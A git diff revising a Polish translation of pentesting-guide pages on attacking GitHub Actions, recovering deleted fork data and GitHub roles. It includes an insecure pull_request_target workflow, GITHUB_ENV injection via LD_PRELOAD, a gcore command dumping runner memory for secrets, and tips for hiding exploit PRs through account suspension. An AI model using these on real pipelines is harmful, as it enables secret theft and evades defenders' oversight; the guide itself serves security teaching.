+> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie pobierany jest kod PR):
 
-<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
+<pre class="language-yaml"><code class="lang-yaml"># NIEBEZPIECZNE. Podano tylko jako przykład.
 on:
 pull_request_target
 
 jobs:
 build:
-name: Build and test
+name: Buduj i testuj
 runs-on: ubuntu-latest
 steps:
 <strong>    - uses: actions/checkout@v2
@@ -266,17 +266,17 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-Thank you!
+Dziękuję!
 </code></pre>
 
 Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budujące i odwołane **pakiety są kontrolowane przez autora PR**.
 
-> [!WARNING]
-> Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań, aby były wykonywane bezpiecznie, nawet jeśli akcja jest skonfigurowana niebezpiecznie (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
+> [!OSTRZEŻENIE]
+> Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań do wykonywania w sposób bezpieczny, nawet jeśli akcja jest skonfigurowana w sposób niebezpieczny (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
 
 ### Wstrzyknięcia Skryptów w Kontekście <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonania dowolnego kodu:**
+Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonywania dowolnego kodu:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -286,17 +286,17 @@ gh-actions-context-script-injections.md
 
 Z dokumentacji: Możesz udostępnić **zmienną środowiskową dla wszystkich kolejnych kroków** w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją w pliku środowiskowym **`GITHUB_ENV`**.
 
-Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne env, które mogłyby wykonać kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**.
+Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne środowiskowe, które mogłyby wykonać kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**.
 
-Na przykład ([**to**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**to**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej env **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować:
+Na przykład ([**to**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**to**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej środowiskowej **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Podatne Akcje Githuba Trzeciej Strony
+### Podatne Akcje Githuba Trzecich Stron
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Jak wspomniano w [**tym poście na blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta Akcja Githuba pozwala na dostęp do artefaktów z różnych workflow, a nawet repozytoriów.
+Jak wspomniano w [**tym poście na blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta Akcja Githuba umożliwia dostęp do artefaktów z różnych workflow, a nawet repozytoriów.
 
 Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artefakt jest wyodrębniany w bieżącym katalogu i może nadpisywać pliki, które mogą być później używane lub nawet wykonywane w workflow. Dlatego, jeśli artefakt jest podatny, atakujący mógłby to wykorzystać, aby skompromitować inne workflow ufające artefaktowi.
 
@@ -342,11 +342,11 @@ path: ./script.py
 
 ## Inny dostęp zewnętrzny
 
-### Przejęcie usuniętego repozytorium namespace
+### Przejęcie usuniętego repozytorium przestrzeni nazw
 
 Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało **mniej niż 100 gwiazdek przed zmianą nazwy**, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie na utworzenie **repozytorium o tej samej nazwie** co usunięte.
 
-> [!CAUTION]
+> [!OSTRZEŻENIE]
 > Jeśli akcja korzysta z repozytorium z nieistniejącego konta, nadal istnieje możliwość, że atakujący może utworzyć to konto i skompromitować akcję.
 
 Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytkownika**, atakujący będzie mógł je przejąć. Oto bardziej szczegółowe wyjaśnienie: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
@@ -355,12 +355,12 @@ Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytk
 
 ## Przełączanie repozytoriów
 
-> [!NOTE]
+> [!NOTATKA]
 > W tej sekcji omówimy techniki, które pozwolą na **przełączenie z jednego repozytorium do drugiego**, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).
 
 ### Zatrucie pamięci podręcznej
 
-Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprmituje** **pakiet**, który następnie jest przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprmitować** ten workflow.
+Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprumuje** **pakiet**, który jest następnie przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprumować** ten workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
 
 ### Zatrucie artefaktów
 
-Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**. Jeśli atakujący zdoła **skomprmitować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprmitować inne workflow**:
+Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprumować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprumować inne workflow**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -376,7 +376,7 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Po eksploatacji z akcji
+## Post eksploatacja z akcji
 
 ### Uzyskiwanie dostępu do AWS i GCP za pomocą OIDC
 
@@ -392,7 +392,7 @@ Sprawdź następujące strony:
 
 ### Uzyskiwanie dostępu do sekretów <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak możesz uzyskać dostęp do sekretów:
+Jeśli wstrzykujesz treść do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów:
 
 - Jeśli sekret lub token jest ustawiony jako **zmienna środowiskowa**, można go bezpośrednio uzyskać przez środowisko, używając **`printenv`**.
 
@@ -468,23 +468,23 @@ key: ${{ secrets.PUBLISH_KEY }}
 
 Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze nie-Github** jest wyszukiwanie **`runs-on: self-hosted`** w konfiguracji yaml akcji Github.
 
-**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej.
+**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (vulnerable endpoints in the network? metadata service?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej.
 
-W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie, zrzucając jego pamięć:
+W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie poprzez zrzut jego pamięci:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Sprawdź [**ten post w celu uzyskania więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Sprawdź [**ten post, aby uzyskać więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
 ### Rejestr obrazów Docker w Github
 
-Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker w Github**.\
-Przykład można znaleźć w następującym rozwijanym:
+Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker wewnątrz Github**.\
+Przykład można znaleźć w poniższym rozwijanym:
 
 <details>
 
-<summary>Github Action Build &#x26; Push Docker Image</summary>
+<summary>Akcja Github Buduj &#x26; Wypchnij obraz Docker</summary>
 ```yaml
 [...]
 
@@ -515,14 +515,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.
+Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany na **`ghcr.io`**.
 
 Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą tokena dostępu osobistego:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Następnie użytkownik mógłby wyszukiwać **wyciekłe sekrety w warstwach obrazu Docker:**
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -530,13 +530,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
 
 ### Wrażliwe informacje w logach Github Actions
 
-Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich pokazywania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany tajną wartością nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich wyświetlania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Zacieranie śladów
 
-(Teknika z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot akcji. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo sprawić, by twoje **konto GitHub zostało zawieszone, albo oznaczyć swoje konto**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR z exploitami).
+(Teknik z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo uzyskać **zawieszenie swojego konta GitHub, albo oznaczenie swojego konta**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR związane z eksploatacją).
 
-Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swój exploit niewidocznym na githubie.
+Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swoją eksploatację niewidoczną na githubie.
 
 > [!WARNING]
 > Jedynym sposobem, aby organizacja dowiedziała się, że została celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostałby usunięty.
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index 7b01f94fd..e6fea6bbd 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1 +1 @@
-# Gh Actions - Zatrucie Artefaktów
+# Gh Actions - Zatrucie artefaktów
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 5a94e1e31..8a9407305 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1 +1 @@
-# Gh Actions - Wstrzykiwanie skryptów kontekstowych
+# Gh Actions - Wstrzyknięcia skryptów kontekstowych
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index 1f7aa75f8..f5b8bade0 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,46 +1,46 @@
-# Accessible Deleted Data in Github
+# Dostępne usunięte dane w Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
 Sposoby dostępu do danych z Github, które rzekomo zostały usunięte, zostały [**zgłoszone w tym wpisie na blogu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
 
-## Accessing Deleted Fork Data
+## Dostęp do usuniętych danych forków
 
 1. Forkujesz publiczne repozytorium
-2. Zatwierdzasz kod do swojego forka
-3. Usuwasz swojego forka
+2. Wprowadzasz zmiany w swoim forku
+3. Usuwasz swój fork
 
 > [!CAUTION]
-> Dane zatwierdzone w usuniętym forku są nadal dostępne.
+> Dane wprowadzone w usuniętym forku są nadal dostępne.
 
-## Accessing Deleted Repo Data
+## Dostęp do usuniętych danych repozytoriów
 
 1. Masz publiczne repozytorium na GitHubie.
 2. Użytkownik forkował twoje repozytorium.
-3. Zatwierdzasz dane po tym, jak oni je forkowali (i nigdy nie synchronizują swojego forka z twoimi aktualizacjami).
+3. Wprowadzasz dane po tym, jak oni je forkowali (i nigdy nie synchronizują swojego forka z twoimi aktualizacjami).
 4. Usuwasz całe repozytorium.
 
 > [!CAUTION]
 > Nawet jeśli usunąłeś swoje repozytorium, wszystkie zmiany wprowadzone do niego są nadal dostępne przez forki.
 
-## Accessing Private Repo Data
+## Dostęp do danych prywatnych repozytoriów
 
-1. Tworzysz prywatne repozytorium, które ostatecznie stanie się publiczne.
-2. Tworzysz prywatną, wewnętrzną wersję tego repozytorium (poprzez forkowanie) i zatwierdzasz dodatkowy kod dla funkcji, które nie zamierzasz udostępniać publicznie.
-3. Upubliczniasz swoje repozytorium "upstream" i zachowujesz swój fork jako prywatny.
+1. Tworzysz prywatne repozytorium, które ostatecznie zostanie udostępnione publicznie.
+2. Tworzysz prywatną, wewnętrzną wersję tego repozytorium (poprzez forkowanie) i wprowadzasz dodatkowy kod dla funkcji, które nie będą publiczne.
+3. Udostępniasz swoje repozytorium "upstream" publicznie i zachowujesz swój fork prywatnie.
 
 > [!CAUTION]
 > Możliwe jest uzyskanie dostępu do wszystkich danych przesłanych do wewnętrznego forka w czasie między utworzeniem wewnętrznego forka a udostępnieniem publicznej wersji.
 
-## How to discover commits from deleted/hidden forks
+## Jak odkryć commity z usuniętych/ukrytych forków
 
 Ten sam wpis na blogu proponuje 2 opcje:
 
-### Directly accessing the commit
+### Bezpośredni dostęp do commita
 
-Jeśli znana jest wartość ID zatwierdzenia (sha-1), możliwe jest uzyskanie do niego dostępu pod adresem `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
+Jeśli znana jest wartość ID commita (sha-1), możliwe jest uzyskanie do niego dostępu pod adresem `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
 
-### Brute-forcing short SHA-1 values
+### Bruteforce'owanie krótkich wartości SHA-1
 
 Dostęp do obu z nich jest taki sam:
 
@@ -49,7 +49,7 @@ Dostęp do obu z nich jest taki sam:
 
 A ten ostatni używa krótkiego sha-1, który można złamać.
 
-## References
+## Odnośniki
 
 - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
 
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 2a28ca317..733f03038 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,11 +4,11 @@
 
 ## Podstawowa struktura
 
-Podstawowa struktura środowiska github w dużej **firmie** to posiadanie **przedsiębiorstwa**, które posiada **kilka organizacji**, a każda z nich może zawierać **kilka repozytoriów** i **kilka zespołów**. Mniejsze firmy mogą posiadać tylko **jedną organizację i żadnych przedsiębiorstw**.
+Podstawowa struktura środowiska github w dużej **firmie** polega na posiadaniu **przedsiębiorstwa**, które posiada **kilka organizacji**, a każda z nich może zawierać **kilka repozytoriów** i **kilka zespołów**. Mniejsze firmy mogą posiadać tylko **jedną organizację i żadnych przedsiębiorstw**.
 
-Z punktu widzenia użytkownika, **użytkownik** może być **członkiem** **różnych przedsiębiorstw i organizacji**. W ramach nich użytkownik może mieć **różne role w przedsiębiorstwie, organizacji i repozytorium**.
+Z punktu widzenia użytkownika **użytkownik** może być **członkiem** **różnych przedsiębiorstw i organizacji**. W ramach nich użytkownik może mieć **różne role w przedsiębiorstwie, organizacji i repozytorium**.
 
-Ponadto, użytkownik może być **częścią różnych zespołów** z różnymi rolami w przedsiębiorstwie, organizacji lub repozytorium.
+Ponadto użytkownik może być **częścią różnych zespołów** z różnymi rolami w przedsiębiorstwie, organizacji lub repozytorium.
 
 I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
 
@@ -23,8 +23,8 @@ I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
 
 W organizacji użytkownicy mogą mieć różne role:
 
-- **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie do mniej niż dwóch osób w twojej organizacji.
-- **Członkowie organizacji**: **Domyślna**, nieadministracyjna rola dla **osób w organizacji** to członek organizacji. Domyślnie, członkowie organizacji **mają szereg uprawnień**.
+- **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie mniej niż dla dwóch osób w twojej organizacji.
+- **Członkowie organizacji**: Domyślną, nieadministracyjną rolą dla **osób w organizacji** jest członek organizacji. Domyślnie członkowie organizacji **mają szereg uprawnień**.
 - **Menedżerowie ds. rozliczeń**: Menedżerowie ds. rozliczeń to użytkownicy, którzy mogą **zarządzać ustawieniami rozliczeń dla twojej organizacji**, takimi jak informacje o płatności.
 - **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji.
 - Jeśli twoja organizacja ma zespół ds. bezpieczeństwa, możesz użyć roli menedżera ds. bezpieczeństwa, aby dać członkom zespołu minimalny dostęp, którego potrzebują do organizacji.
@@ -44,7 +44,7 @@ Ustawienia skonfigurowane tutaj wskażą następujące uprawnienia członków or
 - Czy możliwe jest forkowanie repozytoriów.
 - Czy możliwe jest zapraszanie zewnętrznych współpracowników.
 - Czy publiczne lub prywatne strony mogą być publikowane.
-- Uprawnienia, jakie mają administratorzy do repozytoriów.
+- Uprawnienia, jakie mają administratorzy nad repozytoriami.
 - Czy członkowie mogą tworzyć nowe zespoły.
 
 ### Role w repozytorium
@@ -77,7 +77,7 @@ Github oferuje różne sposoby uwierzytelniania do twojego konta i wykonywania d
 
 ### Dostęp przez sieć
 
-Uzyskując dostęp do **github.com**, możesz zalogować się używając swojego **nazwa użytkownika i hasła** (oraz **potencjalnie 2FA**).
+Uzyskując dostęp do **github.com**, możesz zalogować się używając swojego **nazwa użytkownika i hasło** (oraz **potencjalnie 2FA**).
 
 ### **Klucze SSH**
 
@@ -85,32 +85,32 @@ Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, po
 
 #### **Klucze GPG**
 
-Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [trybie czujności tutaj](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [trybie czujnym tutaj](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
 ### **Osobiste tokeny dostępu**
 
-Możesz wygenerować osobisty token dostępu, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia osobistego tokena dostępu, **użytkownik** musi **określić** **uprawnienia**, które **token** będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Możesz wygenerować osobisty token dostępu, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia osobistego tokena dostępu **użytkownik** musi **określić** **uprawnienia**, które **token** będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Aplikacje Oauth
 
-Aplikacje Oauth mogą prosić o uprawnienia **do uzyskania dostępu do części twoich informacji github lub do podszywania się pod ciebie** w celu wykonania niektórych działań. Typowym przykładem tej funkcjonalności jest **przycisk logowania z githubem**, który możesz znaleźć na niektórych platformach.
+Aplikacje Oauth mogą prosić cię o uprawnienia **do uzyskania dostępu do części twoich informacji github lub do podszywania się pod ciebie** w celu wykonania niektórych działań. Typowym przykładem tej funkcjonalności jest **przycisk logowania z githubem**, który możesz znaleźć na niektórych platformach.
 
 - Możesz **utworzyć** własne **aplikacje Oauth** w [https://github.com/settings/developers](https://github.com/settings/developers)
 - Możesz zobaczyć wszystkie **aplikacje Oauth, które mają dostęp do twojego konta** w [https://github.com/settings/applications](https://github.com/settings/applications)
 - Możesz zobaczyć **zakresy, o które mogą prosić aplikacje Oauth** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Możesz zobaczyć dostęp aplikacji stron trzecich w **organizacji** w _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
+- Możesz zobaczyć dostęp aplikacji trzecich w **organizacji** w _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
 
 Kilka **zalecenia dotyczące bezpieczeństwa**:
 
-- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownika) i mieć dostęp tylko do określonych zakresów.
+- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownikowi) i mieć dostęp tylko do określonych zakresów.
 - Aplikacja OAuth może być używana jako dostawca tożsamości, włączając "Logowanie z GitHub" dla uwierzytelnionego użytkownika.
-- **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_ repozytoriach uwierzytelnionego użytkownika**.
+- **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_** repozytoriach uwierzytelnionego użytkownika.
 - **Nie** buduj aplikacji OAuth, aby działała jako aplikacja dla twojego **zespołu lub firmy**. Aplikacje OAuth uwierzytelniają się jako **pojedynczy użytkownik**, więc jeśli jedna osoba stworzy aplikację OAuth dla firmy do użycia, a następnie opuści firmę, nikt inny nie będzie miał do niej dostępu.
 - **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Aplikacje Github
 
-Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich informacji github lub podszywania się pod ciebie** w celu wykonania określonych działań na określonych zasobach. W aplikacjach Github musisz określić, do jakich repozytoriów aplikacja będzie miała dostęp.
+Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich informacji github lub podszywania się pod ciebie** w celu wykonania określonych działań na określonych zasobach. W aplikacjach Github musisz określić repozytoria, do których aplikacja będzie miała dostęp.
 
 - Aby zainstalować aplikację GitHub, musisz być **właścicielem organizacji lub mieć uprawnienia administratora** w repozytorium.
 - Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
@@ -121,18 +121,18 @@ Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich i
 
 Kilka zaleceń dotyczących bezpieczeństwa:
 
-- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz używać tokenów dostępu, które wygasają po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Więcej informacji znajdziesz w "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz użyć tokenów dostępu, które wygasną po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Więcej informacji znajdziesz w "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
 - Upewnij się, że aplikacja GitHub integruje się z **określonymi repozytoriami**.
 - Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
-- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może użytkownik.
-- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może używać [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań.
+- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może zrobić użytkownik.
+- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może użyć [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań.
